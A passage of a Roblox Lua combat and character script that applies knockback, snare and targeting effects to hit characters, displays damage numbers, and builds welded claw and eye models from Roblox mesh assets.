  756.                 vp=Instance.new("BodyVelocity")
  757.                 vp.P=500
  758.                 vp.maxForce=Vector3.new(math.huge,0,math.huge)
  759. --                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  760.                 if KnockbackType==1 then
  761.                 vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  762.                 elseif KnockbackType==2 then
  763.                 vp.velocity=Property.CFrame.lookVector*knockback
  764.                 end
  765.                 if knockback>0 then
  766.                         vp.Parent=hit.Parent.Torso
  767.                 end
  768.                 game:GetService("Debris"):AddItem(vp,.5)
  769.                 elseif Type=="Up" then
  770.                 local bodyVelocity=Instance.new("BodyVelocity")
  771.                 bodyVelocity.velocity=vt(0,10,0)
  772.                 bodyVelocity.P=1000
  773.                 bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  774.                 bodyVelocity.Parent=hit
  775.                 game:GetService("Debris"):AddItem(bodyVelocity,1)
  776.                 rl=Instance.new("BodyAngularVelocity")
  777.                 rl.P=3000
  778.                 rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  779.                 rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  780.                 rl.Parent=hit
  781.                 game:GetService("Debris"):AddItem(rl,.5)
  782.                 elseif Type=="Snare" then
  783.                 bp=Instance.new("BodyPosition")
  784.                 bp.P=2000
  785.                 bp.D=100
  786.                 bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  787.                 bp.position=hit.Parent.Torso.Position
  788.                 bp.Parent=hit.Parent.Torso
  789.                 game:GetService("Debris"):AddItem(bp,1)
  790.                 elseif Type=="Target" then
  791.                 if Targetting==false then
  792.                 ZTarget=hit.Parent.Torso
  793.                 coroutine.resume(coroutine.create(function(Part)
  794.                 so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  795.                 swait(5)
  796.                 so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  797.                 end),ZTarget)
  798.                 TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  799.                 targetgui=Instance.new("BillboardGui")
  800.                 targetgui.Parent=ZTarget
  801.                 targetgui.Size=UDim2.new(10,100,10,100)
  802.                 targ=Instance.new("ImageLabel")
  803.                 targ.Parent=targetgui
  804.                 targ.BackgroundTransparency=1
  805.                 targ.Image="rbxassetid://4834067"
  806.                 targ.Size=UDim2.new(1,0,1,0)
  807.                 cam.CameraType="Scriptable"
  808.                 cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  809.                 dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  810.                 workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  811.                 Targetting=true
  812.                 RocketTarget=ZTarget
  813.                 for i=1,Property do
  814.                 --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  815.                 if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  816.                 swait()
  817.                 end
  818.                 --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  819.                 cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  820.                 dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  821.                 cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  822.                 end
  823.                 Targetting=false
  824.                 RocketTarget=nil
  825.                 targetgui.Parent=nil
  826.                 cam.CameraType="Custom"
  827.                 end
  828.                 end
  829.                         debounce=Instance.new("BoolValue")
  830.                         debounce.Name="DebounceHit"
  831.                         debounce.Parent=hit.Parent
  832.                         debounce.Value=true
  833.                         game:GetService("Debris"):AddItem(debounce,Delay)
  834.                         c=Instance.new("ObjectValue")
  835.                         c.Name="creator"
  836.                         c.Value=Player
  837.                         c.Parent=h
  838.                         game:GetService("Debris"):AddItem(c,.5)
  839.                 CRIT=false
  840.                 hitDeb=true
  841.                 AttackPos=6
  842.         end
  843. end
  844.  
  845. showDamage=function(Char,Dealt,du,Color)
  846.         m=Instance.new("Model")
  847.         m.Name=tostring(Dealt)
  848.         h=Instance.new("Humanoid")
  849.         h.Health=0
  850.         h.MaxHealth=0
  851.         h.Parent=m
  852.         c=Instance.new("Part")
  853.         c.Transparency=0
  854.         c.BrickColor=TorsoColor
  855.         c.Name="Head"
  856.         c.TopSurface=0
  857.         c.BottomSurface=0
  858.         c.formFactor="Plate"
  859.         c.Size=Vector3.new(1,.4,1)
  860.         ms=Instance.new("CylinderMesh")
  861.         ms.Scale=Vector3.new(.8,.8,.8)
  862.         so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  863.         if CRIT==true then
  864.                 ms.Scale=Vector3.new(1,1.25,1)
  865.         end
  866.         ms.Parent=c
  867.         c.Reflectance=0
  868.         Instance.new("BodyGyro").Parent=c
  869.         c.Parent=m
  870.         if Char:findFirstChild("Head")~=nil then
  871.         c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  872.         elseif Char.Parent:findFirstChild("Head")~=nil then
  873.         c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  874.         end
  875.         f=Instance.new("BodyPosition")
  876.         f.P=2000
  877.         f.D=100
  878.         f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  879.         f.position=c.Position+Vector3.new(0,3,0)
  880.         f.Parent=c
  881.         game:GetService("Debris"):AddItem(m,.5+du)
  882.         c.CanCollide=false
  883.         m.Parent=workspace
  884.         c.CanCollide=false
  885. end
  886.  
  887.     Player=game:GetService('Players').LocalPlayer
  888.     Character=Player.Character
  889.     Mouse=Player:GetMouse()
  890.     m=Instance.new('Model',Character)
  891.  
  892.  
  893.     local function weldBetween(a, b)
  894.         local weldd = Instance.new("ManualWeld")
  895.         weldd.Part0 = a
  896.         weldd.Part1 = b
  897.         weldd.C0 = CFrame.new()
  898.         weldd.C1 = b.CFrame:inverse() * a.CFrame
  899.         weldd.Parent = a
  900.         return weldd
  901.     end
  902.    
  903.     it=Instance.new
  904.    
  905.     function nooutline(part)
  906.         part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  907.     end
  908.    
  909.     function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  910.         local fp=it("Part")
  911.         fp.formFactor=formfactor
  912.         fp.Parent=parent
  913.         fp.Reflectance=reflectance
  914.         fp.Transparency=transparency
  915.         fp.CanCollide=false
  916.         fp.Locked=true
  917.         fp.BrickColor=BrickColor.new(tostring(brickcolor))
  918.         fp.Name=name
  919.         fp.Size=size
  920.         fp.Position=Character.Torso.Position
  921.         nooutline(fp)
  922.         fp.Material=material
  923.         fp:BreakJoints()
  924.         return fp
  925.     end
  926.    
  927.     function mesh(Mesh,part,meshtype,meshid,offset,scale)
  928.         local mesh=it(Mesh)
  929.         mesh.Parent=part
  930.         if Mesh=="SpecialMesh" then
  931.             mesh.MeshType=meshtype
  932.             mesh.MeshId=meshid
  933.         end
  934.         mesh.Offset=offset
  935.         mesh.Scale=scale
  936.         return mesh
  937.     end
  938.    
  939.     function weld(parent,part0,part1,c0,c1)
  940.         local weld=it("Weld")
  941.         weld.Parent=parent
  942.         weld.Part0=part0
  943.         weld.Part1=part1
  944.         weld.C0=c0
  945.         weld.C1=c1
  946.         return weld
  947.     end
  948.  
  949. local modelzorz=Instance.new("Model")
  950. modelzorz.Parent=Character
  951. modelzorz.Name="Claw1"
  952.  
  953. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  954. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  955. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  956. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  957. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  958. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  959. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  960. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  961. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  962. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  963. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  964. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  965. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  966. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  967. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  968. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  969. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  970. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  971. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  972. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  973. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  974. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  975. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  976. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  977. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  978. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  979. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  980. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  981. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  982. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  983. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  984. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  985. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  986. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  987. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  988. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  989. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  990. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  991. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  992. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  993. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  994.  
  995. local modelzorz2=Instance.new("Model")
  996. modelzorz2.Parent=Character
  997. modelzorz2.Name="Claw2"
  998.  
  999. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  1000. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  1001. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  1002. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  1003. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  1004. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  1005. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  1006. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  1007. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  1008. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  1009. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  1010. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  1011. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  1012. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  1013. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  1014. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  1015. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  1016. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  1017. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  1018. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  1019. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  1020. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  1021. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  1022. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  1023. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  1024. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  1025. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  1026. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  1027. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  1028. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  1029. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  1030. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  1031. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  1032. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  1033. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  1034. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  1035. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  1036. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  1037. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  1038. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  1039. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  1040.  
  1041. local modelzorz3=Instance.new("Model")
  1042. modelzorz3.Parent=Character
  1043. modelzorz3.Name="Eye"
  1044.  
  1045. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  1046. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  1047. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  1048. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  1049. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  1050. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  1051. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  1052. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  1053. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  1054. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  1055. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  1056. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  1057. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  1058. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  1059. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  1060. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  1061. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  1062. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
